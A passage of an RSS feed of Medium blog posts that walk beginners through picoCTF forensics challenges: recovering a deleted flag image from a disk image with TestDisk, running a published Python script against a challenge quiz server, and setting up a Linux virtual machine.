and capture the flag!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7f4ae290480" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Forensics — Recovering from the Snap]]></title>
            <link>https://alexmyerssa.medium.com/forensics-recovering-from-the-snap-98bd13a67a37?source=rss-3644bfce2383------2</link>
            <guid isPermaLink="false">https://medium.com/p/98bd13a67a37</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Alex Myers Security Engineer]]></dc:creator>
            <pubDate>Wed, 27 Mar 2019 14:35:49 GMT</pubDate>
            <atom:updated>2019-03-28T11:36:19.540Z</atom:updated>
            <content:encoded><![CDATA[<h3>Forensics — Recovering from the Snap</h3><p>This CTF exercise involves recovering deleted files from a disk image file: <strong>animals.dd</strong>. Try mounting this image file on your Linux machine. You can do this easily in the GUI by right-clicking the image file and opening it with “Disk Image Mounter”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*lzU0HPv7nkhkaSHMcDrfrA.png" /></figure><p>You should then see the mount point appear on the left hand side. Click on it and you should see the following files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*qKwElNeIF_gStWcptretBw.jpeg" /></figure><p>The hint for this question tells you that some files have been deleted. Could one of these deleted files contain then flag? Let’s find out using the free forensics tool <a href="https://www.cgsecurity.org/wiki/TestDisk:_undelete_file_for_FAT">TestDisk</a>. I installed this on my Linux machine using the command line. Don’t forget the <strong>sudo </strong>before the rest of the command as you will most likely need root user privileges in order to complete the installation successfully. I (<strong>alex</strong>) am the root user below so when prompted, I type in the same password I use to log into my Linux machine and the installation should proceed as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*GVhHNin2p3j3ULtkyR3R0w.jpeg" /></figure><p>When the installation is complete, navigate to the folder in which the <strong>animals.dd</strong> image file is located. Then run the following command:</p><blockquote><strong><em>testdisk animals.dd</em></strong></blockquote><p>You should now see the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*KhN0NQU8EbKowgOXz5EtVQ.jpeg" /></figure><p>Keep pressing enter until you see the following screen:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*4YnOcYBpqkVDFnL3bTzTbQ.jpeg" /></figure><p>Notice that the deleted files (i.e. those you could not see when you initially tried to mount the image file) show up here in red. The very last one is called <strong>theflag.jpg</strong>. This is the file that you want to extract and then open. Move down to that file with the arrow key and press “c” as instructed at the bottom of the screen “to copy the current file”. Choose the default option to copy into the same directory in which you have been working (in my case “Downloads). You should then see the text “Copy done! 1 ok, 0 failed” appear above the list of files. Then check the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*O3o9T_mBVFS1ek0dUevPJg.jpeg" /></figure><p>The file has appeared and should be readable. Open it to capture the flag!</p><p>To continue with this series, click <a href="https://medium.com/@AlexMyersSA/forensics-ext-super-magic-a7f4ae290480">here</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=98bd13a67a37" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Forensics — Desrouleaux]]></title>
            <link>https://alexmyerssa.medium.com/forensics-desrouleaux-8796f323a4b1?source=rss-3644bfce2383------2</link>
            <guid isPermaLink="false">https://medium.com/p/8796f323a4b1</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Alex Myers Security Engineer]]></dc:creator>
            <pubDate>Wed, 27 Mar 2019 08:55:55 GMT</pubDate>
            <atom:updated>2019-03-27T14:37:21.209Z</atom:updated>
            <content:encoded><![CDATA[<h3>Forensics — Desrouleaux</h3><p>I’d like to start with this challenge as it took me quite a lot of time to figure out. You can either do it manually or with a Python script. I tried at first doing it manually, but had no luck with the final question that needed to be answered in order to unlock the flag. So I decided to “cheat” by using a Python script to solve it. However, I had some Python compatibility issues, which I’d like to save you from if ever you attempt this exercise.</p><p>You will need to install the <strong><em>pwntools</em> </strong>module for Python. Then you will need to write/find a script that can be used to extract data from the the .json file provided to you and answer the questions. The first two questions should not be difficult to answer manually, as indicated above. However, the third one needs a “brute force” approach, which is exactly what this Python <a href="https://gist.github.com/t0thkr1s/a336c15136876ee9a88177dfdf959bf7#file-incidents-py">script</a> takes (thanks to <a href="https://medium.com/@t0thkr1s">Kristóf Tóth</a> for writing and publishing it).</p><p>Beware, however, that this script is written in the Python 2 language, so make sure that you install <a href="http://docs.pwntools.com/en/stable/"><strong><em>pwntools</em></strong></a><strong><em> </em></strong>for Python 2 and not Python 3 (my Ubuntu distribution came with both already installed and <strong><em>pwntools</em></strong> was installed for Python 3 by default). If you do want to run the script using Python 3, you will have to translate it to Python 3 first. There are some <a href="https://pythonconverter.com/">online tools</a> that do this, but none are perfect.</p><p>Then of course you need to make some other ad hoc changes to the script. For example, you will need to make sure the server information corresponds correctly to that which you have been given in the question. See below the line of code concerned here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*YLphZRglK-TBOYkiOhL5vA.jpeg" /><figcaption>This line tells the python script where to look for the questions that need to be answered in order to reveal the flag</figcaption></figure><p>When you run the script, you should see something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*HHlpNyaNB5AHNky8HlO6pA.jpeg" /><figcaption>The Python script can crack the first 2 questions easily, just as you probably can unaided. However, with the third question, it just keeps going until it gets the right number! You may need to wait a little while for this to happen. In my case, the correct number was 1.25 which means the script only arrived at the right answer after 125 iterations!</figcaption></figure><p>When the script arrives at the correct number, it will stop guessing. This is how a <strong><em>while-loop</em></strong> works in Python. It will then input the correct number and you’ll have captured the flag! Congratulations.</p><p>To continue with this series, click <a href="https://medium.com/@AlexMyersSA/forensics-recovering-from-the-snap-98bd13a67a37">here</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8796f323a4b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[“picoCTF” writeup series]]></title>
            <link>https://alexmyerssa.medium.com/picoctf-writeup-series-ae756fdf20e0?source=rss-3644bfce2383------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae756fdf20e0</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Alex Myers Security Engineer]]></dc:creator>
            <pubDate>Wed, 27 Mar 2019 08:52:23 GMT</pubDate>
            <atom:updated>2019-03-29T10:39:15.975Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/272/1*FezZkBGi5nAlPkjn6kKpCw.png" /></figure><p>A “Capture the Flag” (or CTF) approach can be applied to anything, from real world games to computer games to self-teaching. Having a specific, limited goal to work towards can really focus the mind and is less overwhelming than trying to achieve a more ambitious goal in one improbable leap. In this series, I take a look at one of my favourite CTF exercises out there, known as “picoCTF”. Each flag must be entered in the format “picoCTF{some letters and numbers here}”. I started with Forensics, one of the most interesting infosec fields.</p><h3>Setting up a Linux machine</h3><p>First things first. In order to complete many of these CTF challenges, you will need to have a machine with a Linux distribution installed as your operating system.</p><p>Not to worry if you don’t have another physical machine to spare: there are several options available to you:</p><ol><li>Enable dual booting on your computer so that it is bootable either with Linux or whatever other operating system you are using</li><li>Install software that allows for virtualisation, i.e. the running of virtual machines on your physical machine (note: you may also need to change your BIOS settings in order to enable virtualisation). I used WMWare Workstation Pro, but there are other options out there such as Oracle VM VirtualBox.</li></ol><p>Next, install a Linux distribution. I installed xUbuntu 16, but it doesn’t really matter for our purposes.</p><p>Now, let us continue to the <a href="https://medium.com/@AlexMyersSA/forensics-desrouleaux-8796f323a4b1">first writeup</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae756fdf20e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>